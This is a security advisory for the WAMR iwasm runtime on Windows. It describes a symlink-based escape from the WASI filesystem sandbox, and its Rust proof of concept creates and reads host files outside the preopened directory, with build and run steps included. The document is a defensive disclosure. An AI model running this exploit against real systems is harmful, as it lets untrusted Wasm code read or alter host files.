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Filesystem sandbox escape with symlink when using uvwasi feature

High
lum1n0us published GHSA-8fc8-4g25-c8m7 May 15, 2025

Package

iwasm

Affected versions

< 2.2.0

Patched versions

2.3.0

Description

Summary

On windows, creating a symlink pointing outside of the preopened directory and subsequently opening it with create flag will create a file on host outside of the sandbox. If the symlink points to an existing host file, it's also possible to open it and read its content.

Details

On WAMR running in Windows, creating a symlink with backslash that escapes the filesystem sandbox allows the Wasm module author to escape the sandbox. This can cause untrusted Wasm modules to access the host filesystem.

PoC

PoC in Rust with wasi crate version 0.11 (for the WASI v0.1 API):

use wasi::{Iovec, OFLAGS_CREAT, RIGHTS_FD_READ, RIGHTS_FD_WRITE};

fn main() {
    let base_fd = 3;

    unsafe {
        // Link containing backslash is ok.
        wasi::path_symlink("..\\f", base_fd, "l0").unwrap();
        // Link pointing to an existing file outside of sandbox.
        wasi::path_symlink("..\\secret", base_fd, "l1").unwrap();

        // Opening l0 creates a file outside of sandbox `f`.
        wasi::path_open(base_fd, 0, "l0", OFLAGS_CREAT, RIGHTS_FD_WRITE, 0, 0).unwrap();

        // Opening l1 opens an existing file outside of sandbox.
        let secret_fd = wasi::path_open(base_fd, 0, "l1", 0, RIGHTS_FD_READ, 0, 0).unwrap();
        let mut buf = [0u8; 32];
        let iovs = [Iovec {
            buf: buf.as_mut_ptr(),
            buf_len: buf.len(),
        }];

        wasi::fd_read(secret_fd, &iovs).unwrap();

        println!("secret: {:?}", buf);
    }
}

Build WAMR either before 2.2.0 or with -DWAMR_BUILD_LIBC_UVWASI=1

Set up the preopen directory and secret file:

mkdir dir
"password" | Out-File secret

Build the PoC

cargo build --target wasm32-wasip1

Run the PoC with WAMR:

iwasm --dir dir target\wasm32-wasip1\debug\wamr-symlink.wasm

Now check the filesystem. A new file f outside of dir will be created.

Impact

Anyone running WAMR < 2.2.0 or WAMR built with libc-uvwasi on Windows.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Local
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity Low
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N

CVE ID

CVE-2025-43853

Weaknesses

No CWEs

Credits